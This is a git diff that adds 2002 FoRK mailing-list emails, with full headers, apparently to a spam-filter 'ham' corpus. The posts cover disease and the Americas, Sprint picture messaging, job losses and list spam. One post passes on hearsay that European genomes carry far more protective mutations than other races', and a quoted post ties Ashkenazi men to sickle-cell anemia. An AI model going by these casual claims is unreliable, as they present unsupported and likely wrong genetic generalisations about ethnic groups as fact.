fork-admin@xent.com Mon Aug 19 11:05:59 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 2174F441BB + for ; Mon, 19 Aug 2002 05:55:56 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:55:56 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7J5ZR609285 for ; + Mon, 19 Aug 2002 06:35:31 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id A8A4F2940A0; Sun, 18 Aug 2002 22:33:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from mail.evergo.net (unknown [206.191.151.2]) by xent.com + (Postfix) with SMTP id 19E6229409D for ; Sun, + 18 Aug 2002 22:32:05 -0700 (PDT) +Received: (qmail 21197 invoked from network); 19 Aug 2002 05:33:26 -0000 +Received: from dsl.206.191.151.102.evergo.net (HELO JMHALL) + (206.191.151.102) by mail.evergo.net with SMTP; 19 Aug 2002 05:33:26 -0000 +Reply-To: +From: "John Hall" +Cc: +Subject: RE: Al'Qaeda's fantasy ideology: Policy Review no. 114 +Message-Id: <001601c24741$ef121060$0200a8c0@JMHALL> +MIME-Version: 1.0 +Content-Type: text/plain; charset="US-ASCII" +Content-Transfer-Encoding: 7bit +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook, Build 10.0.2627 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Importance: Normal +In-Reply-To: +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sun, 18 Aug 2002 22:33:22 -0700 + + +I thought the mounds were along the southern Mississipi -- and the +operating theory is that the diseases spread ahead of white explorers +and got them before the whites even showed up. + + + + +> -----Original Message----- +> From: fork-admin@xent.com [mailto:fork-admin@xent.com] On Behalf Of +Gary +> Lawrence Murphy +> Sent: Sunday, August 18, 2002 9:26 PM +> To: Robert Harley +> Cc: fork@spamassassin.taint.org +> Subject: Re: Al'Qaeda's fantasy ideology: Policy Review no. 114 +> +> >>>>> "R" == Robert Harley writes: +> +> R> Well IIRC, Cortez arrived in 1519, and DeSoto was born circa +> R> 1500. You do the math. +> +> Ah, I suppose so. If it wasn't DeSoto ... then who was it that landed +> in Southern Florida to be greeted by great cities of millions of +> mound-dwellers who had completely vanished by the time Cortez arrived +> to kill as many as he could? +> +> -- +> Gary Lawrence Murphy TeleDynamics Communications +Inc +> Business Advantage through Community Software : +http://www.teledyn.com +> "Computers are useless. They can only give you answers."(Pablo +Picasso) +> +> http://xent.com/mailman/listinfo/fork + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01075.0e7ae2d40c2a5c5e7324ccf9f0aa05a5 b/bayes/spamham/easy_ham_2/01075.0e7ae2d40c2a5c5e7324ccf9f0aa05a5 new file mode 100644 index 0000000..b721294 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01075.0e7ae2d40c2a5c5e7324ccf9f0aa05a5 @@ -0,0 +1,61 @@ +From fork-admin@xent.com Mon Aug 19 11:06:04 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 2618F44103 + for ; Mon, 19 Aug 2002 05:55:57 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:55:57 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7J6iZ610944 for ; + Mon, 19 Aug 2002 07:44:39 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 1702E2940A0; Sun, 18 Aug 2002 23:42:08 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from plato.einstein (unknown [65.170.226.173]) by xent.com + (Postfix) with ESMTP id 068832940A0 for ; Sun, + 18 Aug 2002 23:41:11 -0700 (PDT) +Received: from RSHAVELL ([63.101.39.6]) by plato.einstein with Microsoft + SMTPSVC(5.0.2195.3779); Sun, 18 Aug 2002 23:42:36 -0700 +From: "Rob Shavell" +To: +Subject: sprint delivers the next big thing?? +Message-Id: <00ce01c2474b$b1daeff0$6765010a@einstein> +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4522.1200 +Importance: Normal +X-Originalarrivaltime: 19 Aug 2002 06:42:36.0831 (UTC) FILETIME=[9AFEE2F0:01C2474B] +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sun, 18 Aug 2002 23:43:09 -0700 + +sprint, if you haven't seen the marketing yet, is 1st to US market w/postwap +mobile data svc. to me, there is nada more interesting and impactful going +down in the tech world than mobile visual communications.. and yet no one +seems to give much of a damn that right now that 2 persons can take photos +and share them instantly across space. this is one of the biggest - and +last - fundamental changes in human communications. will be as big as the +browser. + +http://www.pcsvision.com/pictures.html + + + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01076.8a6274c2c970dc8f0a72c34b67a1475b b/bayes/spamham/easy_ham_2/01076.8a6274c2c970dc8f0a72c34b67a1475b new file mode 100644 index 0000000..fe917d3 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01076.8a6274c2c970dc8f0a72c34b67a1475b @@ -0,0 +1,75 @@ +From fork-admin@xent.com Mon Aug 19 11:06:05 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C16A444104 + for ; Mon, 19 Aug 2002 05:55:59 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:55:59 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7J6kM610965 for ; + Mon, 19 Aug 2002 07:46:23 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 3FA582940FD; Sun, 18 Aug 2002 23:43:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from sierra.birch.net (sierra.birch.net [216.212.0.61]) by + xent.com (Postfix) with ESMTP id 329CB2940FB for ; + Sun, 18 Aug 2002 23:42:33 -0700 (PDT) +Received: (qmail 3986 invoked from network); 19 Aug 2002 06:43:56 -0000 +Received: from unknown (HELO there) ([216.212.1.170]) (envelope-sender + ) by mailserver.birch.net (qmail-ldap-1.03) with SMTP for + ; 19 Aug 2002 06:43:56 -0000 +Content-Type: text/plain; charset="iso-8859-1" +From: Steve Nordquist +To: fork@spamassassin.taint.org +Subject: Re: NASA mindreading +X-Mailer: KMail [version 1.3.2] +References: + +In-Reply-To: +MIME-Version: 1.0 +Message-Id: <20020819064233.329CB2940FB@xent.com> +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Mon, 19 Aug 2002 01:43:39 -0500 +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by dogma.slashnull.org + id g7J6kM610965 + +&> Seems also from the news being reported that it's likely they already +&> have a slice of that pie, which says something about the mindset of +&> the people handing out the slices. + +When you can hold and sponsor a giant restrictive device (using giant +restrictorism principles, then,) conference/exhibition and get 30 invited +exhibitors, with lecturedemos, on elastic polity, concepts of public +responsibility have gone rather far off theory into quartering. + +The way I reckon it, they plan on fixing the seats/plane and security +problem by further sectioning airplanes: + 1- Checked luggage + 2- Calcium formerly in passengers and crew + 3- The rest of the passengers + 4- The cabin and crew, who get a calcium substitute more + readily controlled by a quorum of preservatory agencies. + 5 (optional:) - Premium services and DRM for checked laptops. +They reactivate calcium channels and put the calcium back when +you arrive. If you don't like it, you have to claim it as they put the +calcium back, subject to retries, and you have to remember the flight +number you actually arrived on to do that. + +...and you suddenly know all about vendors! + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01077.935a6c4233f28490bec77c865ca5d000 b/bayes/spamham/easy_ham_2/01077.935a6c4233f28490bec77c865ca5d000 new file mode 100644 index 0000000..750f050 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01077.935a6c4233f28490bec77c865ca5d000 @@ -0,0 +1,94 @@ +From fork-admin@xent.com Mon Aug 19 11:06:10 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id AE60A441BC + for ; Mon, 19 Aug 2002 05:56:00 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:56:00 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7J6rD611221 for ; + Mon, 19 Aug 2002 07:53:16 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 1384B294103; Sun, 18 Aug 2002 23:46:08 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from mta7.pltn13.pbi.net (mta7.pltn13.pbi.net [64.164.98.8]) by + xent.com (Postfix) with ESMTP id EF884294102 for ; + Sun, 18 Aug 2002 23:45:37 -0700 (PDT) +Received: from [192.168.123.100] ([64.173.24.253]) by mta7.pltn13.pbi.net + (iPlanet Messaging Server 5.1 (built May 7 2001)) with ESMTP id + <0H1200JLPW697N@mta7.pltn13.pbi.net> for fork@xent.com; Sun, + 18 Aug 2002 23:46:57 -0700 (PDT) +From: James Rogers +Subject: Re: Infectious disease (was Re: Al'Qaeda's fantasy ideology) +In-Reply-To: <20020819041119.A9B13C44E@argote.ch> +To: fork@spamassassin.taint.org +Message-Id: +MIME-Version: 1.0 +Content-Type: text/plain; charset=US-ASCII +Content-Transfer-Encoding: 7bit +User-Agent: Microsoft-Entourage/9.0.1.3108 +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sun, 18 Aug 2002 23:46:56 -0700 + +On 8/18/02 9:11 PM, "Robert Harley" wrote: +> +> Another theory is that Europe was a rural backyard until the Renaissance, +> certainly when compared to big urban centres like Constantinople and Baghdad. + + +It is possible; hell if I know. + + +> I don't know the genetic studies of which you speak, but I know of one that +> is sort-of relevant: apparently men of Ashkenazi descent are susceptible +> to sickle-cell anemia and the probable reason is that the same genetic +> factor that causes that also protects women from tuberculosis (IIRC), which +> would have come in handy in central European towns at a time when the Jewish +> population was a lot more urbanised than average Joes. + + +I actually hear about this from people who are researchers in +pharma-biotech. My authority isn't much better than "they say", but they +say that they've uncovered quite a few advantageous mutations in the ethnic +European genome that protect against quite a few different diseases, +mutations which are not found in various African, Asian, and other +populations that they also study. Based on the genome research (as it +relates to infectious disease, which is among their primary interests) of +these various populations around the world, they and others are finding far +more protective mutations in the Caucasian/European genome than in the other +race populations they survey. All the races and ethnic subgroups usually +have genetic mutations specific to them that provide protection against +specific infectious diseases. What they are saying is that they are finding +far more in the European genome than in the others, and it isn't because +nobody is looking elsewhere. + +You can find studies and results like this in the science wires. For +example, one which I remember off the top of my head is the identified +genetic mutation that makes something like 1% of Caucasians immune to HIV-1, +and another 10-20% or so resistant to it. Obviously, the protective +mutation occurred at some point in time prior to HIV-1 being introduced into +the European population. What the researchers I've talked to seem to be +saying is that Europeans express a lot more of these types of gene +mutations, with similar protections from infectious disease, than other +populations. Nobody really knows why for sure. On the upside, identifying +genetic immunities to infectious disease helps the bio-techs come up with +pharmacological solutions for people that don't have immunity. + +-James Rogers + jamesr@best.com + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01078.55baf2ea0c824d2b72c70481ccc15803 b/bayes/spamham/easy_ham_2/01078.55baf2ea0c824d2b72c70481ccc15803 new file mode 100644 index 0000000..d1ba002 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01078.55baf2ea0c824d2b72c70481ccc15803 @@ -0,0 +1,58 @@ +From fork-admin@xent.com Mon Aug 19 11:06:11 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B3ED1441BD + for ; Mon, 19 Aug 2002 05:56:01 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:56:01 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7J79S611640 for ; + Mon, 19 Aug 2002 08:09:30 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 031042940A0; Mon, 19 Aug 2002 00:07:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from sierra.birch.net (sierra.birch.net [216.212.0.61]) by + xent.com (Postfix) with ESMTP id 492A729409D for ; + Mon, 19 Aug 2002 00:06:56 -0700 (PDT) +Received: (qmail 92 invoked from network); 19 Aug 2002 07:08:20 -0000 +Received: from unknown (HELO there) ([216.212.1.170]) (envelope-sender + ) by mailserver.birch.net (qmail-ldap-1.03) with SMTP for + ; 19 Aug 2002 07:08:20 -0000 +Content-Type: text/plain; charset="iso-8859-1" +From: Steve Nordquist +To: fork@spamassassin.taint.org +Subject: Re: Al'Qaeda's fantasy ideology: Policy Review no. 114 +X-Mailer: KMail [version 1.3.2] +References: <58113821767.20020816230818@magnesium.net> +In-Reply-To: <58113821767.20020816230818@magnesium.net> +MIME-Version: 1.0 +Message-Id: <20020819070656.492A729409D@xent.com> +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Mon, 19 Aug 2002 02:08:04 -0500 +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by dogma.slashnull.org + id g7J79S611640 + +I don't know for skimming that article which D&D (dunderheads and disease? +Dowry and Dissent? Durer and Durant?) was given firmament, but the +title's a bit redundant. Can we drop the "Al-" somehow? + +JBIG is sweet. +My scanner driver is not. +Remind me how to ask for UHCI detail knowledgebases +I ent got. +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01079.09c849f3b4f261cc7efdb659c9908340 b/bayes/spamham/easy_ham_2/01079.09c849f3b4f261cc7efdb659c9908340 new file mode 100644 index 0000000..273c5ad --- /dev/null +++ b/bayes/spamham/easy_ham_2/01079.09c849f3b4f261cc7efdb659c9908340 @@ -0,0 +1,63 @@ +From fork-admin@xent.com Mon Aug 19 11:06:20 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 935E144105 + for ; Mon, 19 Aug 2002 05:56:03 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:56:03 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7J8aV614632 for ; + Mon, 19 Aug 2002 09:36:34 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 530902940A0; Mon, 19 Aug 2002 01:34:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from venus.phpwebhosting.com (venus.phpwebhosting.com + [64.29.16.27]) by xent.com (Postfix) with SMTP id 3072B29409D for + ; Mon, 19 Aug 2002 01:33:04 -0700 (PDT) +Received: (qmail 20426 invoked by uid 508); 19 Aug 2002 08:34:25 -0000 +Received: from unknown (HELO hydrogen.leitl.org) (62.155.144.61) by + venus.phpwebhosting.com with SMTP; 19 Aug 2002 08:34:25 -0000 +Received: from localhost (eugen@localhost) by hydrogen.leitl.org + (8.11.6/8.11.6) with ESMTP id g7J8YMf16772; Mon, 19 Aug 2002 10:34:22 + +0200 +X-Authentication-Warning: hydrogen.leitl.org: eugen owned process doing -bs +From: Eugen Leitl +To: Rob Shavell +Cc: +Subject: Re: sprint delivers the next big thing?? +In-Reply-To: <00ce01c2474b$b1daeff0$6765010a@einstein> +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Mon, 19 Aug 2002 10:34:21 +0200 (CEST) + +On Sun, 18 Aug 2002, Rob Shavell wrote: + +> down in the tech world than mobile visual communications.. and yet no one +> seems to give much of a damn that right now that 2 persons can take photos +> and share them instantly across space. this is one of the biggest - and + +The word "trivial" comes to mind. + +> last - fundamental changes in human communications. will be as big as the +> browser. + +Remote realtime streaming video is neat, but sharing pictures? You invoke +big words rather readily. + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01080.c7e83b802f4e72bde4ac69d4aa516b3f b/bayes/spamham/easy_ham_2/01080.c7e83b802f4e72bde4ac69d4aa516b3f new file mode 100644 index 0000000..e90c724 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01080.c7e83b802f4e72bde4ac69d4aa516b3f @@ -0,0 +1,93 @@ +From fork-admin@xent.com Mon Aug 19 11:06:19 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 90D4C441BE + for ; Mon, 19 Aug 2002 05:56:02 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:56:02 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7J7UW612388 for ; + Mon, 19 Aug 2002 08:30:35 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 0EDC82940FD; Mon, 19 Aug 2002 00:28:08 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from t2.serverbox.net (t2.serverbox.net [64.71.187.100]) by + xent.com (Postfix) with SMTP id B0DF229409D for ; + Mon, 19 Aug 2002 00:27:21 -0700 (PDT) +Received: (qmail 3433 invoked from network); 19 Aug 2002 07:28:43 -0000 +Received: from unknown (HELO techdirt.techdirt.com) (12.236.16.241) by + t2.serverbox.net with SMTP; 19 Aug 2002 07:28:43 -0000 +Message-Id: <5.1.1.6.0.20020819001258.02fd38e0@techdirt.com> +X-Sender: mike@techdirt.com +X-Mailer: QUALCOMM Windows Eudora Version 5.1.1 +To: "Rob Shavell" , +From: Mike Masnick +Subject: Re: sprint delivers the next big thing?? +In-Reply-To: <00ce01c2474b$b1daeff0$6765010a@einstein> +MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii"; format=flowed +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Mon, 19 Aug 2002 00:26:33 -0700 + +At 11:43 PM 8/18/02 -0700, Rob Shavell wrote: +>sprint, if you haven't seen the marketing yet, is 1st to US market w/postwap +>mobile data svc. + +Small nitpick: Sprint PCS wasn't really first to market with their high +speed data service. Some would say they were actually last to market. The +only thing that was first about this is what they're calling "nationwide +coverage", and you could even (and perhaps should) argue with that. + +> to me, there is nada more interesting and impactful going +>down in the tech world than mobile visual communications.. and yet no one +>seems to give much of a damn that right now that 2 persons can take photos +>and share them instantly across space. this is one of the biggest - and +>last - fundamental changes in human communications. will be as big as the +>browser. + +Can you clarify why you think this is so? + +I'm in the midst of an ongoing argument with a guy who works for me about +this very subject. He, like you, thinks that things like MMS are going to +change the world. I am not convinced. + +What exactly about sending pictures to each other is going to have such a +huge impact? I'm waiting to be convinced. I just don't see how it changes +human communication in any really amazing way - and no one who believes it +has yet done a good job explaining it to me. I can understand SMS taking +off, since communicating short text messages can be very useful in many +situations. However, I just don't see what's the compelling reason for +sending pictures around to each other on a regular basis. Are there +instances when it makes sense? Sure, I can think of plenty where it's a +nice to have, but very few where it would be a "man, I need this" type of +feature. + +I mean, right now, at my desk, it's easy for me to text message with lots +of people, and I do all the time. If I wanted to, I could also very easily +snap a picture and send it to them, but I don't. I did once, after I got a +really bad haircut, and a friend wanted to see how it looked - but that's a +fairly limited use. Obviously, that's just one case, and maybe I'm just +too old (argh!) to really "get" this new photo taking and sharing stuff, +but I'm really trying to understand. + +So, I'm not saying it won't be a "fundamental change in human +communications", but I'd just like to know why you think it will be? + +Mike + + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01081.496b0fa6e07f0656fa20f5a09229322e b/bayes/spamham/easy_ham_2/01081.496b0fa6e07f0656fa20f5a09229322e new file mode 100644 index 0000000..5198510 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01081.496b0fa6e07f0656fa20f5a09229322e @@ -0,0 +1,79 @@ +From fork-admin@xent.com Mon Aug 19 11:06:27 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 4152B441BF + for ; Mon, 19 Aug 2002 05:56:04 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:56:04 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7J8mW615005 for ; + Mon, 19 Aug 2002 09:48:35 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 6A2192940FD; Mon, 19 Aug 2002 01:46:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from mithral.com (watcher.mithral.com [204.153.244.1]) by + xent.com (Postfix) with SMTP id CEBB529409D for ; + Mon, 19 Aug 2002 01:45:01 -0700 (PDT) +Received: (qmail 31680 invoked by uid 1111); 19 Aug 2002 08:46:14 -0000 +From: "Adam L. Beberg" +To: +Subject: Bits from the job front... +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Mon, 19 Aug 2002 01:46:14 -0700 (PDT) + +As yet another wave of people I know seem to have lost their jobs last week, +here is the latest in what I'm seeing... + +* Even knowing a CTO/CEO/CFO may not even get your resume looked at, the +feedback I'm getting is that hiring managers are only considering family +and extended family for jobs - everyone has plenty of unemployed relatives. + +* Most job sites are now almost empty - so the practice of posting "resume +bait" jobs is coming to an end. The postings they do have are months old +bait. This is now a completely pointless way to look for a job. + +* We're almost flatlne in jobs created for several months, where population +growth needs about 120k jobs a month to keep things steady. + +* Unemployment rates are only staying steady becasue people drop out of the +workforce number after they cant find a job for a long time. The "not in +labor force" is rising 400k a month. International numbers are no better - +technology is replacing people, especially the people tha tmake the +technoogy. + +* Grad school programs are stuffed full of people for every non-tech major. +Colleges are having big headaches dealing with all the day-job refugees. + +* Spam for porn, ink, and stocks has dropped off, spam (the english ones I +see subject lines for) now seems to be dominated by work-at-home scams and +resume services. That's got to be a BAD sign. + +* FoRK is now almost all spam, somebody fix the damn subscriber-only-posting +setting already, dont make me show up at your house Rohit ;) + +- Adam L. "Duncan" Beberg + http://www.mithral.com/~beberg/ + beberg@mithral.com + + + + + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01082.1639114c31d57ba903bc3f1fa7ca1228 b/bayes/spamham/easy_ham_2/01082.1639114c31d57ba903bc3f1fa7ca1228 new file mode 100644 index 0000000..d153d8d --- /dev/null +++ b/bayes/spamham/easy_ham_2/01082.1639114c31d57ba903bc3f1fa7ca1228 @@ -0,0 +1,59 @@ +From fork-admin@xent.com Mon Aug 19 12:56:31 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 2A3C943C34 + for ; Mon, 19 Aug 2002 07:56:31 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 12:56:31 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7JBrX621722 for ; + Mon, 19 Aug 2002 12:53:35 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id CB57B2940A0; Mon, 19 Aug 2002 04:51:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from barrera.org (cpe-65-172-233-109.sanbrunocable.com + [65.172.233.109]) by xent.com (Postfix) with ESMTP id D03D229409D for + ; Mon, 19 Aug 2002 04:50:00 -0700 (PDT) +Received: from (127.0.0.1 [127.0.0.1]) by MailEnable Inbound Mail Agent + with ESMTP; Mon, 19 Aug 2002 11:50:56 -08:00 +Message-Id: <3D60DBA0.1060505@barrera.org> +From: "Joseph S. Barrera III" +Organization: Rose Garden Funeral of Sores +User-Agent: Mutt 5.00.2919.6900 DM (Nigerian Scammer Special Edition) +X-Accept-Language: en-us, en, ja +MIME-Version: 1.0 +To: "Adam L. Beberg" +Cc: fork@spamassassin.taint.org +Subject: Re: Bits from the job front... +References: +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Mon, 19 Aug 2002 04:50:56 -0700 + +> * FoRK is now almost all spam, somebody fix the damn subscriber-only-posting +> setting already, dont make me show up at your house Rohit ;) + +Upon a similar (albeit slightly friendlier :-) threat to Rohit et. al., +I have received a promise that things will be fixed Real Soon Now. +Which is good because I don't want to have to piss off Kragen :-) + +- Joe + + + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01083.ecc77beb3f48b7be4481118a97b01b41 b/bayes/spamham/easy_ham_2/01083.ecc77beb3f48b7be4481118a97b01b41 new file mode 100644 index 0000000..a8974da --- /dev/null +++ b/bayes/spamham/easy_ham_2/01083.ecc77beb3f48b7be4481118a97b01b41 @@ -0,0 +1,133 @@ +From fork-admin@xent.com Mon Aug 19 14:05:53 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 3423943C34 + for ; Mon, 19 Aug 2002 09:05:49 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 14:05:49 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7JD4Y624191 for ; + Mon, 19 Aug 2002 14:04:37 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id C9B742940C9; Mon, 19 Aug 2002 06:02:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from hall.mail.mindspring.net (hall.mail.mindspring.net + [207.69.200.60]) by xent.com (Postfix) with ESMTP id 736E529409D for + ; Mon, 19 Aug 2002 06:01:53 -0700 (PDT) +Received: from 